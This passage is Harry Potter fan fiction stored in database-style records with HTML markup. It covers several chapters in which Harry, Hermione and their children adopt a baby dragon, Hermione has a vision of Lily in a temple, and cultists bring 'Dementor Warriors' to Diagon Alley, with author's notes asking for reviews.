the\nprocess of hiding his frightened sisters behind a medium sized boulder.<br>\n<br>\n&#8220;James, take care of them,&#8221; Hermione said. James seemed to be taking his job\nseriously and set about keeping a hyper Lina dn subdued Virginia in place.\nHermione ran off to toward Harry and Ron whom were currently parrying around,\ndodging the flames issued from the Ridgeback&#8217;s mouth.<br>\n<br>\n&#8220;Harry?&#8221;<br>\n<br>\n&#8220;It&#8217;s a Ridgeback. Not as dangerous as the Horntail we had to fight off before\nbut we still need caution.&#8221;<br>\n<br>\n&#8220;Oh bloody Hell with caution&#8221; shouted Ron. He let out a yell and charged at the\ndragon only to be blasted away but a burst of flame. He was clearly unharmed\nbut a little dazed.<br>\n<br>\nHermione couldn&#8217;t help but chuckle as Harry groaned and buried his face in his\nhand. &#8220;Why does he always charge in like that,&#8221; he muttered.<br>\n<br>\nWhatever mirth they were able to share was broken however, when the dragon\ncharged at them, claws slashing. Harry and Hermione leapt out of the way and\nHermione successfully managed to swipe her sword into the dragon&#8217;s paw. The\ndragon let out a yelp of pain before Harry stabbed his sword into its throat,\nkilling it instantly.<br>\n<br>\nAs soon as the large creature lay dead, Ron came up to the other too and said,\n&#8220;Whew, lucky that thing wasn&#8217;t much of a tough one.&#8221; Ron was completely covered\nwith soot and some smoke was rising from around his body, making him look\nridiculous. Harry and Hermione glanced at Ron and burst out laughing, much to\nhis annoyance.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nThat night, Lin shook James awake. &#8220;What is it?&#8221; he asked groggily.<br>\n<br>\n&#8220;I was thinking. James, I&#8217;ve read all about dragons,&#8221; Lin ignored her brother&#8217;s\nsnort and continued, &#8220;and I was able to tell that that dragon that was\nattacking us was a nesting mother.&#8221;<br>\n<br>\n&#8220;Yeah, so what?&#8221;<br>\n<br>\n&#8220;I was wondering, if we killed a mother dragon, then what would happen to the\nbaby dragons? Won&#8217;t they die without their mother?&#8221;<br>\n<br>\n&#8220;Better them than us becoming their next meal.&#8221;<br>\n<br>\n&#8220;James, I want to go find that nest, make sure the baby dragon&#8217;s are all\nright.&#8221;<br>\n<br>\n&#8220;You what?!&#8221; James couldn&#8217;t believe what Lin was proposing.<br>\n<br>\n&#8220;Oh come on James. It&#8217;ll be an adventure.&#8221;<br>\n<br>\n&#8220;You&#8217;re not serious!&#8221; Never in his life would&#8217;ve expected James expected that\nhe would be the levelheaded one of the two. It was always James planning some\nescapade while Lin fretted and discouraged him; never the other way around,\nlike this situation. But Lin&#8217;s proposal of searching for a dragon&#8217;s nest was\noutright dangerous. And if there was one thing that James learned from his\nexperiences with the cultists in Godric&#8217;s Hollow, it was that there was a fine\nline between mischief and danger that must never be crossed. James may have\ncaused mischief but he certainly didn&#8217;t go looking for danger.<br>\n<br>\n&#8220;James, please.&#8221;<br>\n<br>\n&#8220;Oh all right, Lin!&#8221; James started grumbling as he and Lin left their beds and\nwent higher up the mountain they were on. After searching for about twenty\nminutes, they finally found a small crater in the side of the mountain lined\nwith rocks and wood. In the center of the crater was a single black, dragon\negg.<br>\n<br>\n&#8220;There it is,&#8221; said Lin. She slowly crept up to the large egg, which was about\nthe size of a human head. James&#8217;s adventurous nature soon took over and he also\nwent up to the egg.<br>\n<br>\n&#8220;Hey, it&#8217;s shaking,&#8221; he said.<br>\n<br>\n&#8220;Well I suppose that means it&#8217;s almost ready to ha...&#8221; Lin didn&#8217;t get to finish\nher sentence when the egg suddenly burst open causing pieces of egg shell to\nfly around.<br>\n<br>\nA tiny version of the dragon that had attacked them early popped out. It\nsqueaked and coughed up a little flame. After that, it opened its eyes and\nstared into Lin&#8217;s green ones.<br>\n<br>\n&#8220;Oh my, he&#8217;s cute,&#8221; Lin said, a large grin adorning her face.<br>\n<br>\n&#8220;That&#8217;s...cute?&#8221; said James.<br>\n<br>\nThe baby dragon started rubbing its head on Lin&#8217;s legs. Surprised, Lin started\nto walk around and was a little startled to see the dragon follow her around,\nstep by step. She looked up at James with a questioning look.<br>\n<br>\n&#8220;It looks like the dragon&#8217;s imprinted on you,&#8221; said a familiar female voice.\nStartled, James and Lin whipped around to see their parents standing at the\nedge of the nest, Harry looking bemused and Hermione looking annoyed. &#8220;It\nthinks you&#8217;re its mother,&#8221; Hermione finished.<br>\n<br>\nAt first, James and Lin were too shocked to say anything. However, as soon as\nHermione&#8217;s words sank in, Lin gleefully picked up the baby dragon and sprang\ntoward them saying, &#8220;Oh Mum! Mum! Please? Can I keep him? Please? I promise,\nI&#8217;ll be the best mother to this dragon there ever was. Can I keep him?&#8221;<br>\n<br>\nHarry and Hermione looked at each other. &#8220;I don&#8217;t know,&#8221; said Harry. &#8220;Dragon&#8217;s\nare very dangerous. I mean, its imprinted on you so I doubt it&#8217;ll attack humans\non purpose but they&#8217;re still a handful.&#8221;<br>\n<br>\n&#8220;Oh Dad! Please let me keep him! I promise to be good. Mum? Dad?&#8221;<br>\n<br>\nHermione sighed. The baby dragon was already imprinted on Lin so they probably\nwouldn&#8217;t be able to get rid of it. &#8220;All right,&#8221; she said. &#8220;At least till its\ngrown up.&#8221;<br>\n<br>\nLin let out a cheer and James couldn&#8217;t help but join her, though he was still a\nlittle apprehensive about the dragon, while Harry and Hermione sighed. As they\nmade their way back to the camp, Lin hugged the baby dragon close to her and\nsaid, &#8220;I think I&#8217;ll call you Nomie.&#8221;<br>\n<br>\nBaby Nomie happily purred his approval.<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nA/N I kind of got this chapter out later than I wanted to but at least it&#8217;s out\nnow. Hope you enjoyed it. Please Review! Reviews are highly appreciated and\neverybody who makes one gets a gold star in my book. Well, OK, maybe not\nexactly a gold star but they will really make me happy. BTW, is anybody else as\nexcited about the World Cup as I am? Next: The troupe finally arrives at the\nHoly City. What happens there?</p>\n\n\n\n\n\n\n'),
	(224, 8, '\n\n\n\n<p>Disclaimer: The Harry Potter series belongs to J.K. Rowling, Warner Bros.\nInc., Scholastic, Bloomsbury, Raincoast, and any other affiliated party. </p>\n\n<p>^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nChapter 7: Deis Rowena<br>\n<br>\nThe rest of the trip to the Holy City went along without much incident. Lin had\ndecided to utilize a near revolutionary method of dragon raising by placing\nNomie under a strictly vegetarian diet. The effect seemed to slow down the\ndragon\'s growth but at least he didn\'t develop an appetite for human meat.<br>\n<br>\nWithin the next 36 hours, the troupe finally arrived at the mystical city that\nwas Deis Rowena.<br>\n<br>\nCarved into the side of a mountain, Deis Rowena was a relatively small city,\nwhose buildings were all built in a classical Greco-Roman style. Virtually all\nof the buildings had at least one shrine dedicated to the One Deity. At the\nnorthern edge of the city was a clearing, paved in marble with a statue of\nRowena Ravenclaw standing with a few books in her arms and an eagle on her\nshoulder. Behind the statue was an uphill path of steps leading to the High\nTemple of the One Deity. This was the final destination of the Troupe.<br>\n<br>\nAt the entrance of the temple, the troupe met an old woman who seemed to have\nbeen waiting for them. She was an old woman with wisps of gray hair and elegant\npurple robes. She smiled at them with warm inviting eyes.<br>\n<br>\n&quot;Hello everyone, I am Arabella Figg, High Priestess of the One Deity in\nthe Temple of Deis Rowena. No need to explain yourselves; I already know why\nyou are here: you seek the rings of the One Deity.&quot;<br>\n<br>\nHarry and Hermione shared a look and shrugged. Arabella Figg continued\nspeaking, &quot;There is a devise at the back of this temple that you must use.\nFollow me, and I will show you.&quot;<br>\n<br>\nThe troupe followed the high priestess into the sanctuary of the temple. It was\na long corridor built out of marble with classical pillars supporting the\narched sealing. Gothic Cathedral would be the word that would come to mind if\none saw it. At the end of the chamber was a simple altar built of marble as\nwell. On the surface of the altar was an opening, large enough for a person to\nlie down in.<br>\n<br>\n&quot;This is the soul searching chamber,&quot; Arabella Figg said, gesturing\nto the opening in the altar. &quot;When a person enters it, they will be able\nto communicate with either the One Deity himself or with one of his servants if\nhe chooses that. For some reason, it works best if a muggle-born uses it.&quot;\nShe turned to the troupe and said, &quot;If you seek answers, one of you must\nstep into this altar.&quot;<br>\n<br>\nHermione bit her lip and said, &quot;Well, if it works best on muggle-borns,\nthen I should be the one to use it.&quot;<br>\n<br>\nHarry gripped her hand and said, &quot;You don\'t have to if you don\'t want to.\nI\'m sure someone else can do this. You know what, actually I think I\nshou...&quot;<br>\n<br>\n&quot;No Harry,&quot; Hermione said as she fought back her fear. &quot;This is\nmy duty, I should do it!&quot; Harry immediately recognized the glint of\ndetermination in her eyes.<br>\n<br>\n&quot;OK,&quot; he said a little reluctantly. He gave her a quick kiss before\nHermione stepped away.<br>\n<br>\n&quot;Mommy,&quot; Virginia said in a longing voice.<br>\n<br>\n&quot;She\'ll be OK, Love,&quot; Harry said as he picked Virginia up and hugged\nher close. He seemed to be reassuring himself as well as his daughter.<br>\n<br>\nHermione swallowed as she climbed into the altar and lied down. To her delight,\nshe found that the bottom of the altar was a soft cushion and not cold, hard\nmarble. &quot;May the protection of the One Deity be with you,&quot; Arabella\nFigg said as she closed the lid of the altar, leaving Hermione in the dark.<br>\n<br>\nAs the High Priestess walked toward the troupe she saw the fear in Harry\'s eyes\nas he held his youngest daughter close to him. Ron, James, and Lin were staring\nthe the altar worrisomely, Lin looking near tears.<br>\n<br>\n&quot;She will be all right, we just need to leave her there for about an hour,&quot;\nArabella Figg said in a reassuring voice. She turned to Harry and said,\n&quot;Your mother also spent an hour in the altar when she came here.&quot;<br>\n<br>\nHarry nodded but remained quiet.<br>\n<br>\n* * *<br>\n<br>\nFor what felt like an eternity, but was in fact only about thirty seconds,\nHermione lay in the darkness, the altar closed in around her. She was scared\nand part of her wondered if she was claustrophobic. But she knew that her\nmission was important and if the fate of all of Magiterran rested on her lying\ndown inside a boxed altar, then so be it. Besides, she could easily blast out\nof the altar with her magic if something happened.<br>\n<br>\nFinally, Hermione felt something happening. There was a tiny, ever so slight\nsound of ringing in the closed space and the air started to move around. Suddenly,\nwithout warning, a sound of an explosion rang through out the space and the\nwind started to pick up as if it were being sucked into a vacuum. Hermione\ntried to scream in terror but no voice came from her throat. The darkness was\nnow starting to close in one her, trying to consume her, leering at her. She\nsuddenly felt as if her clothes had been torn off and she lying naked and\nvulnerable in front of a hostile darkness. Feeling like a lost child, Hermione\ncurled up into a ball and started to cry.<br>\n<br>\nThen, as suddenly as it started, it ended when a soft hand touched Hermione\'s\nshoulder. A soft hand that was stroking her back softly, the way her mother\nused to when she was sad or sick, all those years back when she was just a\nchild. Hermione felt like she wanted to curl up in cry in this motherly\nperson\'s lap, something she hadn\'t been able to do ever since her family was\nmurdered by Death Eaters all those years ago.<br>\n<br>\n&quot;Its OK, my dear. You\'re safe here,&quot; a loving motherly voice said. No\nit wasn\'t Hermione\'s mother, it was a voice she had never heard before and yet\nit strangely made her relax. Apprehensively, Hermione looked up to stare into\noh so familiar green eyes, framed be long, wavy dark red hair and a loving\nsmile. With a shock, Hermione instantly recognized her.<br>\n<br>\n&quot;L-Lily?&quot; she asked.<br>\n<br>\nLily Evans Potter smiled at her daughter in law and said, &quot;Yes dear, its\nme.&quot; She gently lifted Hermione to her feet. With a start, Hermione\nrealized that she was not in the small dark altar, but in a beautiful meadow that\nstretched toward a small stream and forest. Birds were singing and the sun was\nshining in a cloudless sky. Hermione was wearing her old blue and white travel\nrobes and she also noticed that Lily was wearing something similar, only hers\nwere maroon.<br>\n<br>\n&quot;Lily, how?&quot;<br>\n<br>\n&quot;The One Deity sent me, specifically to help you find the rings. Or at\nleast to tell you where they are.&quot;<br>\n<br>\nHermione bit her lip and looked down at her feet and said, &quot;Does Harry\nknow you\'re seeing me here?&quot;<br>\n<br>\n&quot;Yes he does,&quot; Lily said plainly. She gave a kindly smile to Hermione\nwho was nervously shifting around on her feet. &quot;You\'re worried that he\'s\ngoing to be angry at you for seeing me in here, is that it?&quot; When Hermione\nremained silent, Lily smiled and said, &quot;That is nothing to worry about. He\nloves you more and though he may be a little disappointed at having missed the\nchance to see me, he\'ll understand, especially after my husband and I go visit\nhim in his dreams tonight.&quot;<br>\n<br>\nHermione couldn\'t help but smile a little. &quot;He misses the two of you so\nmuch,&quot; she said.<br>\n<br>\n&quot;As much as my James and I miss him,&quot; Lily said. &quot;How much we\nwished we could be with him all this time. He grew up unloved and unwanted: he\nnever deserved any of that. But then, someone has now come into his life to\nlove him as much as we did and even more so.&quot; Lily gently took Hermione\'s\nface in her hands and kissed her on the forehead. &quot;Thank you, Hermione,\nfor loving our son as much as you have.&quot;<br>\n<br>\nHermione smiled weakly at Lily. Lily let her go and walked away a little bit\nbefore turning back to Hermione, her expression suddenly serious.<br>\n<br>\n&quot;Too business,&quot; she said. &quot;You came to Deis Rowena to find the\nremaining rings, I\'m here to tell you where they are. As I\'m sure you know, the\neight rings were divided amongst founders, two each. The Rings of the Lion and\nthe Phoenix are the rings that were given to Gryffindor, I\'m sure you know\nthat.&quot;<br>\n<br>\n&quot;Yes.&quot;<br>\n<br>\n&quot;Good. Now when you wake up, you must go to the Kingdom of Hufflepuff.\nHead for Diggory Manor and there, you will find a path that leads into the very\nheart of the Wilderness of Creepers.&quot;<br>\n<br>\n&quot;The Wilderness of Creepers?&quot; Hermione said suddenly alarmed.\n&quot;The forest is filled with...&quot;<br>\n<br>\n&quot;Acromantulas? Manticores? Chimaeras? I\'m afraid you\'re going to have to\nbrave them all. Whichever way, the path will ultimately lead to a cave called\nthe Creeper\'s Lair. That is where the Rings of the Badger and the Unicorn are\nhidden.&quot;<br>\n<br>\n&quot;OK.&quot;<br>\n<br>\n&quot;I have no idea where the Rings of the Dragon and the Serpent are. But I\'m\nsure that once you have the other six rings, you\'ll be able to find them.&quot;\nLily looked up and saw that the sun was starting to set. &quot;I have to go\nnow. Tell Harry that we love him, and will always be watching over him as well\nas you and our three grandchildren. Give them my love. Goodbye, Hermione.&quot;\nWith that, Lily started to fade away, a soft smile gracing her features.<br>\n<br>\n&quot;Wait!&quot; Hermione shouted. &quot;Where are the Rings of the Eagle and\nthe Sphinx?&quot; But by that time Lily was long gone. Before Hermione could\neven blink, she was back in the darkness of the altar, lying on the cushions.<br>\n<br>\nJust as she started to become aware of her surroundings, the lid to altar was\nlifted open and Hermione was looking up into the faces of Arabella Figg, Ron,\nHarry, and their children.<br>\n<br>\n&quot;Hermione, you OK?&quot; Ron asked, clearly concerned.<br>\n<br>\n&quot;Yes,&quot; Hermione said as she sat up.<br>\n<br>\n&quot;Mum!&quot; James shouted as he Lin and Virginia threw their arms around\nher, the girls bursting into tears. Hermione held them close to her as she\ntimidly glanced up at Harry.<br>\n<br>\n&quot;Harry, I...&quot;<br>\n<br>\n&quot;I already know,&quot; he said.<br>\n<br>\n&quot;You do?&quot;<br>\n<br>\n&quot;You met my Mum, right?&quot;<br>\n<br>\n&quot;Yes. Are you angry?&quot;<br>\n<br>\n&quot;I\'ll admit that I\'m a little jealous. But I can\'t argue with what\nhappens.&quot; He smiled and pulled Hermione into a hug. Hermione smiled and\ngave Harry a kiss, chaste enough to be seen in front of the children, yet deep\nenough to convey the love she felt for him.<br>\n<br>\nJust as Hermione pulled away, Harry suddenly noticed something. &quot;Hermione,\nyour hand!&quot; Hermione glanced down at her left hand and gasped. Two more\nrings had now joined the Ring of the Phoenix: a blue one with a picture of a\nsphinx and a bronze one with a picture of an eagle on it.<br>\n<br>\n&quot;Two more rings,&quot; Ron said. &quot;Maybe you two are meant to be\ntogether twice.&quot;<br>\n<br>\n* * *<br>\n<br>\nDraco Malfoy was sitting in his bedroom, waiting patiently for some one to\ncome. The rest of the palace had already gone to sleep which was a little\nstrange considering Draco was usually one of the first one\'s to go to sleep.\nWhat was even stranger in the opinions of the palace workers was that he didn\'t\nhave a woman visitor with him that night. However, in reality, Draco was about\nto receive a woman visitor.<br>\n<br>\nA swift movement in the air of the room indicated that Cassandra Frost had now\ncome into the room, wearing a seductive black robe. She smiled and said,\n&quot;Why, Draco dear, have you been waiting up for me?&quot;<br>\n<br>\n&quot;Would you have preferred it if I hadn\'t?&quot; Draco smirked. Cassandra\ngrinned maliciously and came very close to Draco.<br>\n<br>\n&quot;So, do I have an answer?&quot;<br>\n<br>\n&quot;The answer is yes,&quot; Draco smirked, &quot;so long as I have something\nin return.&quot;<br>\n<br>\nCassandra knew what Draco\'s request would be and was more than willing to\naccept. &quot;And you shall have it,&quot; she said.<br>\n<br>\nWith that, their lips met in a bruising kiss, as the two tried to over power\neach other. Soon, Cassandra\'s robes were on the floor and Draco led her to his\nbed. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A/N\n(ducks rotten tomatoes being thrown at him) OK, OK, before you all flame me,\ntheir\'s more to Draco\'s actions than I\'m letting on here. Just don\'t give up on\nthe guy yet. There will still be other stuff happening later. On another note,\nI\'m so sorry this chapter took so long to come up. But then, some of the blame\nshould go to fanfiction.net. Well please R/R. Next, we\'ll go to Diagon Alley again.\nAnd Cornelius Fudge is there (grumble).</p>\n\n\n\n\n\n\n'),
	(224, 9, '\n\n\n\n<p>Disclaimer: The Harry Potter series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nChapter 8: Dementor Warriors<br>\n<br>\nDiagon Alley was pretty much the same as it had always been. People were going\nabout shopping, browsing, eating, and just being people. It was always in the\ngreat commercial center of Magiterran that people were able to forget about\ntheir troubles outside and simply enjoy being people. Although the royal\ncapitol of the Kingdom of Hufflepuff was Badger\'s Hand where the royal family\nlived, the true cultural and political as well as commercial center of the\nKingdom was Diagon Alley.<br>\n<br>\nIt was on a sunny weekday where a number of Gryffindor Mage Knights could be\nseen with a number of children. They were sitting at a table at the entrance of\nFlourestean\'s Ice cream parlor.<br>\n<br>\n&quot;Well, I\'ll get you children some ice cream,&quot; Margaret said as she\nmade her way over to the order stand. &quot;What flavors do you want?&quot;<br>\n<br>\n&quot;Rocky Road, with lots of chunks!&quot; James shouted, the glee in his\nvoice obvious.<br>\n<br>\n&quot;I would like two gallons of mint chocolate chip,&quot; said Lin.<br>\n<br>\nJames stared at Lin if as if she had gone mad. &quot;Two gallons? How can you\neat that much?&quot;<br>\n<br>\n&quot;Its not for me, its for Nomie,&quot; said Lin as she petted the baby\ndragon sitting on the floor next to her. &quot;I will have vanilla.&quot;<br>\n<br>\n&quot;Chocolate!&quot; Virginia and Christopher chorused together.<br>\n<br>\n&quot;OK, I\'ll be back soon,&quot; Margaret said as she silently hoped the ice\ncream parlor actually had enough mint chocolate chip to feed a baby dragon.<br>\n<br>\nMeanwhile, Hermione remained silent, fingering the rings newly added to her\nfingers.<br>\n<br>\n&quot;Knut for you thoughts?&quot; Harry asked.<br>\n<br>\n&quot;Nothing really,&quot; said Hermione. &quot;Just wondering how much longer\nall of this is going to take. Wondering if we\'re doomed to be fighting evil for\nthe rest of our lives.&quot;<br>\n<br>\n&quot;It\'ll end Hermione,&quot; Harry said as he held Hermione\'s hand. &quot;It\ncan\'t continue on forever. It\'ll end someday.&quot;<br>\n<br>\nHermione nodded and sighed. &quot;I just can\'t help but remember my childhood,\neverything so much more simpler back then. It was just wake up in the morning\nand help my parents out in the fields. Go read a book in my spare time or tell\nthe younger children stories.&quot; She sighed once more and said, &quot;I\ncould\'ve have possibly imagined how much and how quickly my life would\nchange.&quot;<br>\n<br>\nHarry frowned and said, &quot;Hermione, do you regret...&quot;<br>\n<br>\n&quot;No Harry, I don\'t regret meeting you or my life as it is now. It just,\ngets so overwhelming at times.&quot;<br>\n<br>\nHarry started rubbing the back of Hermione\'s hand with his thumb. &quot;We\'ll\nget through this,&quot; he said.<br>\n<br>\nHermione smiled and was about to lean in for a kiss when Ginny\'s voice broke in\nand said, &quot;Hey, that isn\'t Fudge, is it?&quot;<br>\n<br>\nHarry groaned. &quot;Oh no, please not Cornelius Fudge. Anybody but Cornelius\nFudge.&quot;<br>\n<br>\n&quot;Sorry mate,&quot; said Ron with a grumble, &quot;It\'s the bloody minister\nall right.&quot; The Gryffindor Mage Knights let out a collective sigh as a\nmiddle aged, pudgy man stepped up to them, a megawatt smile on his face.<br>\n<br>\nCornelius Fudge was the Minister of the Alliance, the supposed elected head, of\nthe Four-Kingdom Alliance. In truth, he had no actual power. The true rulers of\nthe Alliance were the four monarchs with their respective parliaments and the\nGuradian of Hogwarts, Dumbledore. However, on print at least, Cornelius Fudge\nwas in charge though he was more concerned about his funding and his status in\nthe polls than the affairs of the Alliance.<br>\n<br>\n&quot;Hello, Cornelius,&quot; Harry said, forcing a grin onto his face.\nHermione smiled at him apologetically.<br>\n<br>\n&quot;Your majesties, how great to see you here?&quot; Fudge chuckled. Twelve\nburly Hufflepuff soldiers whom were clearly his bodyguards surrounded him.\n&quot;Whatever brings you out here, with so little security and services.&quot;<br>\n<br>\n&quot;We really didn\'t need them, Mister Fudge,&quot; Hermione said, a polite\nsmile on her face.<br>\n<br>\n&quot;Surely you don\'t mean that?&quot; exclaimed Fudge, looking like he had\nbeen scandalized. &quot;What is the point of the monarchy going out if not to\nmake sure the common folk pay their dues to their rulers.&quot;<br>\n<br>\n&quot;&quot;Sure, Minister,&quot; Ron snorted. Harry and Hermione meanwhile\nwere starting to look a little worried. They had been browsing around Diagon\nAlley anonymously, hoping to avoid the reverence that came with monarchy. Now,\nFudge was threatening to blow their cover and was suggesting Harry and Hermione\ndo precisely what they had been hoping to avoid.<br>\n<br>\n&quot;Well I must go, have some potential voters to please,&quot; Fudge said.\n&quot;And I\'ll make sure that everybody you pass will be groveling at your\nfeet.&quot; He ruffled up the hair of the four children (much to their\nannoyance) and walked away.<br>\n<br>\nHermione groaned and buried her face in her hands. &quot;Oh, I sure hope he\ndoesn\'t blow our cover.&quot;<br>\n<br>\n&quot;Don\'t count on it,&quot; Harry muttered. &quot;I suppose that ends our\nfreedom of wandering around Diagon Alley. Maybe we should just head out to\nDiggory Manor right now.&quot;<br>\n<br>\nThe children did not seem to be too happy at this idea and were just about to\nstart a round of protest when the screams came.<br>\n<br>\nThe Mage Knights sprang up on instinct. &quot;Again?&quot; Harry exclaimed.<br>\n<br>\n&quot;What is it this time? It better not be vampires again, they\'re such a\npain in the neck?&quot; shouted Ron. He turned toward his wife and said,\n&quot;Margaret! Watch over the kids!&quot; Margaret nodded and gathered the\nfour children around her as the four Gryffindor Mage Knights dashed into the\nstreet.<br>\n<br>\nThere was an air of extreme gloom and depression in the air that hadn\'t been\ntheir just a few minutes earlier, as if the very joviality and cheerfulness of\nDiagon Alley was being sucked away. Hermione couldn\'t help but feel as if she\nhad felt this sensation somewhere before, but she couldn\'t recall it.<br>\n<br>\nAs the Mage Knights started to gather closer toward the source of the\natmosphere, they couldn\'t help but notice what was happening to the people.\nThey were starting to fall to their knees in pure terror, some trembling very\nhard while others started to sob. They even found Cornelius Fudge hiding in one\nof the dark corners, weeping like a baby. The four shared a glance, wondering\nwhat on earth could\'ve caused this to happen.<br>\n<br>\nIt was right around then that it hit Hermione, a cold creeping chill that\nrattled through her bones, terrorizing every inch of her soul. Panting,\nHermione sank to her knees, clutching her head in her hands. And before she\ncould blink an eye, she was back in Azkaban, tortured by the Death Eater Icicle\nand believing Harry to be dead. &quot;Oh, Harry...&quot; she moaned.<br>\n<br>\nShe snapped out of her depression when she suddenly felt Harry\'s hand grip her\nown. Hermione glanced up at him and saw that he was also suffering: his eyes\nhad tears welled up in them his body was shaking as he whispered,\n&quot;Mum...Dad...Voldemort no...&quot;<br>\n<br>\n\'Oh my God, he\'s reliving his parents\' death,&quot; thought Hermione. She\nsqueezed Harry\'s hand tighter, which caused Harry to snap back to his senses as\nwell. He gritted his teeth and angrily swiped at his eyes before he pulled\nhimself and Hermione up to his feet.<br>\n<br>\n&quot;Thanks, Love,&quot; he whispered. Hermione gave him a faint smile and\nturned toward the two Weasleys who seemed to be extremely worried.<br>\n<br>\n&quot;We\'re all right,&quot; she said.<br>\n<br>\n&quot;Are you sure?&quot; Ginny asked.<br>\n<br>\n&quot;Yes,&quot; Hermione affirmed. With that, the Mage Knights turned to their\nadversaries. They already knew what they were after experiencing the terror of\nthe effects on people: Dementors.<br>\n<br>\nOr at least they looked like Dementors and had the same effect on people as\nDementors. There were twelve of them crowded in the center of the street and\nbeing led around by one of the cultists known as The Children of Tempest. They\nwere tall and wore black cloaks with their faces hidden within the shrouds of\ntheir dark hoods. But unlike most dementors, these ones had a pair of gauntlet\nwearing hands carrying swords protruding from their clocks and a pair of booted\nfeet.<br>\n<br>\n&quot;Citizens of Magiterran!&quot; the cultist proclaimed. &quot;The time has\ncome! Soon the Dark Lord shall return to us in the power and guise of Tempest\nand our time shall come! Join us now! Join us now!&quot;<br>\n<br>\nThe cultist suddenly stopped his shouting when he spotted the Gryffindor Mage\nKnights standing near by. &quot;A, Mage Knights of Gryffindor,&quot; he said.\n&quot;For years you have stood in the way of Tempest, but no more!&quot; He\ngestured toward the dementor like creatures behind him. &quot;See our new\nweapons of the War, the Dementor Warriors. They can match a Mage Knight in\nbattle any day and furthermore have the depressing powers of an ordinary\nDementor, including the kiss.&quot;<br>\n<br>\nThe Four Mage Knights drew their swords. &quot;Leave this city, right\nnow!&quot; Harry demanded.<br>\n<br>\nThe cultist threw his face back and laughed out loud. &quot;And what position\nare you to make such a demand?&quot; he said. &quot;You are clearly in the\ndisadvantage here. Can you not see how you are outnumbered by the Dementor\nWarriors?&quot;<br>\n<br>\nRon grinned and said, &quot;Actually, we\'re not the ones who are outnumbered.\nYou are.&quot;<br>\n<br>\nAs if that were the cue, a hundred or so more figures crowded in and surrounded\nthe Dementor Warriors, all with swords drawn and wearing armor with capes that\nwere either red, blue, yellow, or green. The cultist realized that about a hundred\nMage Knights now surrounded him and his Dementor Warriors.<br>\n<br>\n&quot;You should study espionage more,&quot; said Ginny. &quot;You should\'ve\nknown that its virtual suicide to attack Diagon Alley in broad daylight. Any\nMage Knight who wishes to have a time off comes here whenever they have a free\ntime and believeme, none of them are happy about having their free time\ndisrupted.&quot;<br>\n<br>\n&quot;You\'re right, we should study espionage more,&quot; the cultist said\nreluctantly. He glanced up at the various Mage Knights and saw how angry they\nlooked, especially the Slytherin ones. The cultist took a deep breath and\ncontinued, &quot;Whichever way, we didn\'t come here today to start a fight.\nWe\'re here simply test how well these Dementor Warriors and I\'ll be pleased to\nannounce to High Priestess Cassandra Frost, that they work perfectly.&quot;<br>\n<br>\nWith that, the cultists and the Dementor Warriors apparated away.<br>\n<br>\nAs the Mage Knights cleared out and went back to their own businesses, Ron\nslapped his forehead and said, &quot;When the hell is Malfoy going to remove those\nbloody anti-apparation wards? Its so frustrating seeing your enemies apparate\nwhen you can\'t!&quot;<br>\n<br>\n&quot;Who knows what goes on in the mind of Draco Malfoy,&quot; said Ginny.\n&quot;We have worse things to worry about than Malfoy\'s mind though.&quot;<br>\n<br>\n&quot;And what may that be?&quot; Ron said.<br>\n<br>\n&quot;Those Dementor Warriors,&quot; Harry said sullenly. &quot;They have the\nsame powers as demntors and yet they can fight like soldiers. That does not\nhold well if it culminates to war.&quot; He shared a glance with Hermione and\nsaw their own worried and frightened faces reflected in each other\'s.<br>\n<br>\n&quot;We have no idea how many of those there are,&quot; said Hermione.\n&quot;But we can be assured that there are a lot more than what we saw\ntoday.&quot; She shuddered, remembering the effect dementors had on her and\nHarry. &quot;I just hope, we can live through this.&quot;<br>\n<br>\n&quot;We will,&quot; said Harry as he gripped Hermione\'s hand.<br>\n<br>\nPeople around them them were waking up and starting to go back to their various\noccupations, though they were more silent and fearful. Cornelius Fudge was\nnowhere to be seen. \'Probably ran off to save face,\' Hermione thought.<br>\n<br>\n&quot;Well, I suppose we\'ve been here long enough,&quot; Ron said trying to\ncheer up the mood. &quot;So lets pack our things and head off to Diggory\nManor.&quot;<br>\n<br>\nHermione finally smiled and said, &quot;Yes, lets go.&quot;<br>\n<br>\nA/N I did not get enough reviews for chapter 7. So please, please when you\nreview this chapter, please review chapter before this one as well unless you\nalready have. Sorry that this chapter was a little short but it acts as a\nfiller between this chapter and the next one. Next: Ginny has some confessions\nto make to Harry. Can you guess what they are?</p>\n\n\n\n\n\n\n'),
	(224, 10, '\n\n\n\n<p>Disclaimer: The Harry Potter series belongs to J.K. Rowling,\nWarner Bros. Inc., Scholastic, Bloomsbury, Raincoast, and any other affiliated\nparty. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nChapter 9: Confessions of the Past<br>\n<br>\nDiggory Manor was probably the most unique of the Hufflepuff cities. Aside from\nthe fact that it was the home of the House of Diggory, the city was the only\nfortified city in the Kingdom of Hufflepuff. This was especially unique\ncompared Gryffindor where virtually all of the cities, Godric\'s Hollow, the\nBurrow, Lupin Manor, Black Manor, Lion\'s Head, Mynestria, which were all\nfortified. Furthermore, Diggory Manor was the only Hufflepuff city not built\nalong Unicorn Tail River. Rather, it was inland, at the very edge of the\nWilderness of Creepers.<br>\n<br>\nGryffindor Mage Knights were of course welcomed here, but Harry generally tried\nto avoid the place. It reminded him too much about his first partner,\nHufflepuff Mage Knight Sir Cedric Diggory. Hermione had only heard about the in\nsmall bits but had never pressed Harry to reveal the whole story to her since\nshe knew it was too painful for him. She had still managed to figure out\ngenerally what had happened.<br>\n<br>\nThe Gryffindors were welcomed to the Mansion of the House of Diggory and were\ninvited to dinner, much to the delight of the children.<br>\n<br>\n&quot;Food!&quot; James shouted as they sat down at the table. &quot;I 